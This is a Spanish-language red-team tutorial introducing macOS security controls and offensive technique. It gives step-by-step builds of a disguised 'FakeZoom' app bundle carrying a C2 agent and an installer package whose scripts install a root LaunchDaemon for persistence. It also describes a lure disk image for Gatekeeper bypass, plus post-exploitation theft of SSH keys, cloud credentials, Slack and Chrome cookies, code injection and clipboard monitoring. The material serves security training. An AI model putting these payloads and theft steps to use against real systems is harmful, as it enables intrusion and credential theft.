Equipo rojo macOS 101
Esta publicación cubre los conceptos básicos de seguridad de macOS y, con suerte, sirve como una introducción a los entornos macOS de equipos rojos.
Tópicos cubiertos
- Resumen de seguridad de macOS
- Gatekeeper y XProtect
- Tiempo de ejecución reforzado
- Protección de integridad del sistema (SIP)
- Transparencia, consentimiento y control (TCC)
- MacOS Sandbox
- Llavero - Persistencia y cargas útiles de acceso inicial
- Paquetes de aplicaciones
- Paquetes de instalación
- Imágenes de disco (DMG) - Escalamiento de privilegios y explotación posterior
- Conocimiento de la situación
- Robo de cookies
- Monitoreo del portapapeles
- Inyección de código
- Carga Mach-O en memoria
Nada dentro de esta publicación es una investigación "nueva", sino información consolidada sobre los temas anteriores, de los recursos a continuación, en un solo lugar para facilitar la lectura y la introducción.
- Blogs
- Patrick Wardle/Objective See
- Adam Chester
- Justin Bui
- Csaba Fitzl
- Wojciech Reguła
- Cedric Owens
- Chris Ross
- Leo Pitt - Videos
- DEFCON 29: Red Teaming macOS de Cedric Owens
- OBTS de Cody Thomas: Red Teaming macOS
- x33fcon de Wojciech Reguła: Red Teaming macOS
- OBTS de Cody Thomas: Abrir el llavero de macOS - Libros/Cursos
- The Art of Mac Malware de Patrick Wardle
- OSMR de Offensive Security - Referencia todo en uno
- Awesome-macOS-Red-Teaming
Portero y XProtect
Gatekeeper es un mecanismo de seguridad diseñado para permitir que solo las aplicaciones confiables se ejecuten en los sistemas, de manera similar a SmartScreen y MOTW en Windows. Cuando los archivos ejecutables se descargan de Internet, se marcan con el com.apple.quarantineatributo, que activa el controlador de acceso cuando se ejecuta el archivo.
Si el ejecutable está certificado ante notario, Gatekeeper verifica la firma del código del archivo y presenta un aviso al usuario para que confirme que desea ejecutar el archivo.
Si el ejecutable no está certificado por un notario, Gatekeeper presentará un aviso al usuario informándole que el archivo no se puede ejecutar porque no está firmado. Para ejecutar ejecutables no firmados, el usuario debe hacer clic con el botón derecho en el archivo y luego hacer clic en abrir, en lugar de hacer doble clic.
Después de la verificación de la firma del código, XProtect, que es el antivirus integrado de macOS, escaneará el archivo en busca de malware. XProtect utiliza reglas YARA que se pueden encontrar a través de locate XProtect.yaray son en su mayor parte inútiles a menos que esté ejecutando cargas útiles predeterminadas de Metasploit. Además, XProtect solo busca malware bajo tres condiciones
- El archivo se está ejecutando por primera vez.
- El hash del archivo ha cambiado
- Se han actualizado las reglas YARA de XProtect
Tiempo de ejecución endurecido
El tiempo de ejecución reforzado es una característica que se puede habilitar en las aplicaciones para proteger contra la inyección de código a través del secuestro de dylib, las variables de entorno y la inyección de puertos de tareas. Un ejemplo de cómo el tiempo de ejecución reforzado protege contra la inyección es exigir que cualquier dylib cargado en el proceso esté firmado con el mismo certificado que la propia aplicación. Esto, por supuesto, causa problemas cuando una aplicación necesita cargar dylibs de terceros, por lo que las aplicaciones pueden tener ciertos derechos para eliminar algunas de estas restricciones.
Podemos enumerar los derechos de las aplicaciones mediante codesign -d --entitlements :- <file>o el list_entitlementscomando en Poseidon, y si alguno de los siguientes está presente, podemos inyectar en la aplicación:
- El
com.apple.security.cs.disable-library-validationderecho permite que cualquier dylib, con o sin firma, se cargue en el proceso. Dependiendo de la ubicación de los dylibs que carga la aplicación, esto puede abrir la puerta para el secuestro de dylibs. - El
com.apple.security.cs.allow-dyld-environment-variablesderecho permite cargar dylibs desde laDYLD_INSERT_LIBRARIESvariable de entorno. Sin embargo, este derecho por sí solo no elimina los requisitos de firma de código mencionados anteriormente. Si este derecho está presente junto con el derecho de deshabilitar la biblioteca de validación, puede inyectar en la aplicación de maneraDYLD_INSERT_LIBRARIES=malicious.dylib ./appsimilar aLD_PRELOADLinux. - El
com.apple.security.get-task-allowderecho permite que otras aplicaciones obtengan el puerto de tareas de su aplicación, que es similar a obtener un identificador de un proceso en Windows. Cabe señalar que para acceder a un puerto de tareas, su código debe ejecutarse como root. Con el puerto de tareas, puede realizar su inyección de proceso clásica escribiendo shellcode y creando un hilo.
Protección de integridad del sistema (SIP)
SIP, también conocido como "sin raíz", protege los archivos del sistema de modificaciones. Esencialmente, incluso como usuario raíz, no podemos alterar ciertos archivos del sistema, como los ejecutables dentro de /bin/. Los archivos protegidos por SIP se pueden identificar a través de la restrictedbandera.
SIP se puede deshabilitar a través de csrutil disable, sin embargo, requiere reiniciar el dispositivo en modo de recuperación, por lo tanto, esto generalmente está fuera de discusión desde la perspectiva del equipo rojo.
Transparencia, Consentimiento y Control (TCC)
TCC es una función de privacidad de macOS implementada en v10.14+ que solicita al usuario que otorgue permisos de forma explícita cuando una aplicación intenta acceder a ciertos recursos, como la cámara, y ciertas carpetas, como , , Desktopy Downloadsunidades Documents/volúmenes.
Intentar acceder a un recurso protegido por TCC sin permisos podría generar accidentalmente un aviso, alertando al usuario de su presencia y, en última instancia, su participación finaliza antes de lo esperado. A continuación se muestran algunos archivos útiles que no están protegidos por TCC:
- Archivos y carpetas ocultos en el directorio de inicio:
~/.aws/*,~/.ssh/*,~/.bash_history,~/.zsh_history - Datos de la aplicación de usuario —
~/Library/Application Support/* - Archivos de cookies —
~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies
La base de datos TCC del usuario requiere acceso completo al disco (FDA) para interactuar; sin embargo, si podemos interactuar con ella, podemos modificarla para otorgarnos acceso a otros recursos. Podemos verificar si tenemos FDA sin preguntarle al usuario al ejecutar filecontra la base de datos TCC del usuario.
Los desvíos de TCC no son particularmente "raros" y recomiendo consultar el blog de Csaba Fitzl para mantenerse actualizado con los desvíos antiguos y nuevos.
entorno de pruebas de macOS
El sandbox de macOS es una característica que los desarrolladores pueden habilitar para sus aplicaciones si se lanzan fuera de la App Store, y es obligatoria para todas las aplicaciones descargadas directamente desde la App Store. Las aplicaciones que hayan optado por la función de sandbox tendrán el com.apple.security.app-sandboxderecho y, como su nombre lo indica, las obligarán a ejecutarse dentro de un sandbox. Las aplicaciones que se ejecutan en un espacio aislado tienen un acceso extremadamente limitado al sistema, como la capacidad de leer o escribir archivos en el disco. Por esta razón, ciertas rutas de ataque en macOS, como el phishing a través de macros, no son atractivas. Como las aplicaciones de Microsoft Office optan por la zona de pruebas y evitarán que persista y saquee.
Llavero
El llavero se puede comparar con LSASS en Windows y contiene secretos como contraseñas y claves para aplicaciones. Por ejemplo, una aplicación puede cifrar los archivos que almacena en el disco y la clave de descifrado de estos archivos se almacena en el llavero. El llavero del sistema se puede encontrar en /Library/Keychains/System.keychainy el llavero del usuario se puede encontrar en ~/Library/Keychains/login.keychain-db.
Puede descargar el llavero del usuario, aunque los secretos que contiene se cifrarán con la contraseña del usuario. Dependiendo de si tiene la contraseña del usuario, puede aprovechar Chainbreaker para extraer secretos o volcar el hash de la contraseña del llavero --dump-keychain-password-hashen un formato para hashcat que es extremadamente lento de descifrar.
Por último, cada entrada dentro del llavero tiene ACL y permisos asociados que se pueden ver dentro de la aplicación Acceso a Llaveros. Las aplicaciones de confianza son aplicaciones que pueden realizar operaciones en la entrada del llavero sin preguntar al usuario. Esta lista se puede encontrar en la pestaña "Control de acceso", y un caso interesante es donde la lista es "NULO", lo que significa que todas las aplicaciones son de confianza, no debe confundirse con una lista vacía que simplemente significa que no se confía en ninguna aplicación.
Si está ejecutando en el contexto de una aplicación confiable o la lista es NULL, y tiene alguna de las siguientes autorizaciones, puede extraer secretos sin preguntarle al usuario:
- ACLautorizaciónDescifrar
- ACLAuthorizationExportClear
- ACLAuthorizationExportWrapped
- ACLautorizaciónCualquiera
Cargas útiles de acceso inicial y persistencia
Si está interesado en obtener información sobre los tipos de carga útil para macOS alternativos a los que se enumeran a continuación, le recomiendo que consulte el proyecto Mystikal y la publicación de blog asociada .
Además, se debe tener en cuenta que los productos EDR en macOS no están maduros y esencialmente funcionan solo como un producto de registro. Por lo tanto, normalmente puede usar cualquier agente C2 predeterminado además de Metasploit, y no tiene que preocuparse de que el EDR atrape su carga útil.
Paquetes de aplicaciones
Los paquetes de aplicaciones (.app) son uno de los tipos de programas más comunes y son el formato en el que se lanza casi todo el software del usuario final. Los paquetes de aplicaciones se almacenan /Applications/y se le muestran cuando hace clic en Launchpad. Haciendo referencia a la documentación de Apple , un paquete de aplicaciones mínimo generalmente tiene la siguiente estructura:
AppName.app/
Contents/
Info.plist # App config info
MacOS/ # Contains the app's executable file
Resources/ # Fonts, images, sounds, icons, etc.
1 - Cree la estructura de carpetas del paquete de aplicaciones
mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources
A continuación, dado que las Mac Intel y Silicon ahora son comunes, podemos crear una carga útil AMD y ARM Poseidon, y luego combinarlas en un Mach-O universal que puede ejecutarse en cualquier arquitectura y luego colocarlo en el lipo -create <arm-payload> <amd-payload> -output <universal-payload>directorio MacOS.
3 - Crear el Info.plistarchivo.
Con referencia a los documentos para desarrolladores de Apple , necesitaremos especificar algunas claves:
- CFBundleExecutable: el nombre del ejecutable principal dentro del directorio de MacOS (PoseidonPayload)
- CFBundleIconFile: el nombre de la imagen de la aplicación (ZoomImageForPayload)
- CFBundleIdentifier: la cadena que identifica de forma única su aplicación en el sistema (com.examplepayload.Zoom)
- CFBundleName — El nombre de su aplicación (FakeZoom)
- CFBundleVersion: el número de versión de compilación de su aplicación (1.0.0)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>PoseidonPayload</string>
<key>CFBundleIconFile</key>
<string>ZoomImageForPayload</string>
<key>CFBundleIdentifier</key>
<string>com.examplepayload.Zoom</string>
<key>CFBundleName</key>
<string>FakeZoom</string>
<key>CFBundleVersion</key>
<string>1.0.0</string>
</dict>
</plist>
Dado que estamos creando una aplicación Zoom falsa, podemos simplemente copiar el archivo icns de Zoom fuera del /Applications/directorio (si está instalado) y en Resources/ZoomImageForPayload, sin embargo, también puede usar cualquier icono que desee.
Paquetes de instalación
Los paquetes de instalación (.pkg) son archivos xar y otro tipo de programa común que se ve cuando el software debe instalarse con privilegios de raíz. Si bien los paquetes de instalación pueden contener una carga útil principal para ejecutar cuando se abren, una alternativa es aprovechar los scripts de "preinstalación" y "postinstalación", que su nombre indica, ejecutarán un script antes y después de la instalación.
Para este ejemplo, crearemos un paquete de instalación que usa estos scripts para registrar un LaunchDaemon para persistencia como usuario raíz cuando se abre.
1 - Cree la estructura de carpetas del paquete de instalación
mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall
2 - Cree un archivo plist para registrarse como LaunchDaemon
Realmente solo se necesita un valor dentro de este archivo plist que es ProgramArgumentsy esencialmente especifica qué ejecutar cuando se activa LaunchDaemon.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.examplepayload.persistence</string>
<key>ProgramArguments</key>
<array>
<string>/Library/Application Support/PoseidonPayload</string>
</array>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
3 - Cree los scripts previos y posteriores a la instalación
Estos scripts son solo scripts bash regulares, sin embargo, deben comenzar #!/bin/bashy terminar con exit 0. Usaremos el script de preinstalación para copiar nuestro plist y payload en las ubicaciones correctas del disco, y luego el script de postinstalación para registrar el LaunchDaemon.
#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
Para crear el paquete de instalación a partir de estos scripts, simplemente podemos ejecutarpkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg
Podemos descargar LaunchDaemon ejecutando launchctl unload com.examplepayload.persistence.plisty debe tenerse en cuenta que dejar caer la carga útil /Library/Application Support/fue puramente preferencial, y se puede dejar caer en otro lugar.
LaunchDaemons representa solo una forma de persistencia en macOS y, si está interesado en otras formas, le recomiendo que consulte el blog de SentinelOne .
Imágenes de disco (DMG)
Los DMG son volúmenes comprimidos que pueden contener otros formatos de carga útil. El beneficio de entregar su carga útil dentro de un archivo DMG es que puede agregar elementos gráficos para ayudar en la ingeniería social del usuario para que haga clic con el botón derecho y luego abra su carga útil para omitir Gatekeeper, ya que el DMG en sí no invoca a Gatekeeper.
Para crear un DMG de aspecto genuino, necesitaremos crear una imagen de fondo personalizada. Prefiero aprovechar el software legítimo o el fondo de pantalla de la empresa junto con draw.io , pero puede crear el suyo propio como desee.
Para esta demostración, opté por esta imagen como base y creé esto:
Para comenzar, podemos crear una imagen de disco abriendo Disk Utilityy seleccionando "Archivo", luego "Nueva imagen" y luego "Imagen en blanco..."
Podemos seleccionar el nombre de nuestro volumen, y luego cambiar el “Formato” a “Mac OS Extended (Journaled)”.
Abra el archivo .dmg, que en mi caso es "example-payload.dmg", y aparecerá un volumen en su Escritorio, luego abra el volumen, que en mi caso es "example". Para mostrar archivos ocultos en macOS, puede hacer clic en "[shift] + [comando] + [punto]".
Mueva su imagen de fondo al volumen /Volumes/<volume-name>/como un archivo oculto, junto con su carga útil. Para este ejemplo, podemos reutilizar el paquete de aplicaciones de la sección anterior.
A continuación, podemos hacer clic en el volumen y seleccionar "Ver" seguido de "Mostrar opciones de vista".
En "Fondo", seleccione "Imagen", luego haga doble clic en el cuadro "Arrastre la imagen aquí". Se abrirá una nueva ventana del Finder y podrá seleccionar la imagen de fondo dentro del volumen. Si no elige una imagen contenida dentro del volumen, puede causar errores. Además, podemos cambiar el tamaño del icono a través de "Tamaño del icono".
Cambie el tamaño de la ventana para que se ajuste a su fondo y centre el paquete de aplicaciones.
Una vez que esté satisfecho con el diseño, y mientras la ventana del Finder aún está abierta, haga clic derecho en el volumen en el escritorio y haga clic en "Expulsar".
Vuelva a abrir Disk Utilityy seleccione "Imágenes" y luego "Convertir..."
Seleccione su archivo DMG, luego seleccione "Cifrado: ninguno" y "Formato de imagen: comprimido"
Por supuesto, esta demostración no tiene mucho sentido dado que es un fondo de Chrome, con una aplicación Zoom (lol), sin embargo, espero que entiendas el punto.
Una última cosa a tener en cuenta con respecto a las cargas útiles es que los archivos descargados a través de su navegador agregarán el com.apple.metadata:kMDItemWhereFromsatributo, que enumera de dónde se descargó el archivo. Si está descargando su carga útil de Poseidón directamente desde Mythic en su navegador antes de empaquetarlo, esto puede llevar a revelar accidentalmente la ubicación del servidor de su equipo. Puede eliminar este atributo a través de xattr -d com.apple.metadata:kMDItemWhereFroms <file>.
Escalada de privilegios y explotación posterior
Esta sección no es exhaustiva de todas las actividades que puede realizar después de obtener un shell y solo pretende dar una idea general de post-ex en macOS.
Conciencia situacional
Puede comenzar con algunas verificaciones de conocimiento de la situación en el sistema, ya sea ejecutando HealthInspector o SwiftBelt , o explorando manualmente los archivos de configuración. Muchos de estos archivos serán archivos plist en formato binario y para hacerlos legibles puede usar plutil. Algunos archivos de interés podrían ser:
- ¿Qué aplicaciones tiene el usuario en el dock? —
plutil -p ~/Library/Preferences/com.apple.dock.plist - ¿Con qué archivos interactuó recientemente el usuario? —
plutil -p ~/Library/Preferences/com.apple.finder.plist - ¿En qué versión de macOS estás? —
plutil -p /System/Library/CoreServices/SystemVersion.plist
A continuación, puede comenzar a descargar algunos archivos que no están protegidos por TCC del disco, incluido el historial bash o zsh del usuario, claves ssh, claves de nube (AWS, GCP, etc.), llavero y cookies.
Dado que está en un macOS, es probable que la organización para su participación sea una empresa de tecnología o una empresa nueva, y es común ver Slack en estos entornos. Si es así, puede descargar los siguientes archivos:
~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies
A continuación, puede orientar las cookies del navegador; para este ejemplo, utilizaremos Google Chrome. Si tiene la contraseña del usuario, ya sea porque la encontró dentro de su historial de bash o zsh o tal vez ejecutando un indicador de contraseña , puede descargar ~/Library/Application Support/Google/Chrome/Default/Cookiesy descifrar el archivo sin conexión. Alternativamente, si no tiene la contraseña del usuario, puede usar herramientas como WhiteChocolateMacademiaNut para iniciar Chrome con la depuración remota habilitada y luego volcar las cookies en un websocket. Una vez más, dado que los EDR de mac no están maduros, colocar herramientas distorsionadas en el disco no debería ser una gran preocupación.
Con acceso a las cookies del navegador, puede abrir SOCKS a través del comando incorporado de Poseidon o soltar el cincel y navegar por los sitios internos. Específicamente, es posible que desee apuntar a sitios de documentación interna como Confluence y sus repositorios de código interno para encontrar credenciales privilegiadas.
Supervisión del portapapeles
En macOS, cada vez que cambia el contenido del portapapeles, se incrementa un contador, por lo tanto, podemos monitorear el valor del contador en un intervalo y obtener el contenido del portapapeles si ha cambiado. Poseidón tiene un comando incorporado clipboard_monitorque podemos aprovechar para esto.
Algunas cosas adicionales a tener en cuenta:
- El
clipboard_monitorcomando filtra para recuperar solo texto sin formato, por lo que si el usuario copia un archivo binario grande en su portapapeles, no tenemos que preocuparnos por enviar grandes cantidades de tráfico a través de nuestro C2. - El usuario raíz no tiene acceso al portapapeles, por lo que cualquier herramienta de monitoreo del portapapeles debe ejecutarse en un contexto de usuario.
Como se mencionó anteriormente en la sección de endurecimiento del tiempo de ejecución, poder inyectar código en una aplicación es útil desde la perspectiva del equipo rojo, ya que potencialmente puede otorgarle derechos adicionales y acceso a recursos que antes no tenía.
Por ejemplo, es posible que su carga útil inicial no tenga acceso a la carpeta Descargas; sin embargo, si puede inyectar código en Chrome que podría tener el com.apple.security.files.downloads.read-writederecho, entonces podrá navegar por la carpeta Descargas.
Para encontrar objetivos para la inyección de código, puede ejecutar el comando Poseidon list_entitlementsque buscará procesos en ejecución con los derechos mencionados en la sección de tiempo de ejecución reforzado.
Desde aquí, puede inspeccionar cada proceso para encontrar un objetivo potencial.
Otra forma de inyección de código que no se mencionó anteriormente es el "secuestro de electrones", que Adam Chester cubre ampliamente en este blog . Esencialmente, puede aprovechar la ELECTRON_RUN_AS_NODEvariable de entorno para generar un proceso como elemento secundario de una aplicación electrónica y, dado que los procesos secundarios heredan los permisos de TCC de su elemento principal, puede obtener sus derechos.
Carga Mach-O en memoria
Si bien definitivamente no es necesario con el estado actual de macOS EDR, es posible ejecutar Mach-Os en la memoria. Las API utilizadas para realizar la carga en memoria varían entre las versiones del sistema operativo, por lo que no cubriré esto, sino que recomiendo consultar la publicación de Justin Bui y la publicación de Adam Chester .

![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































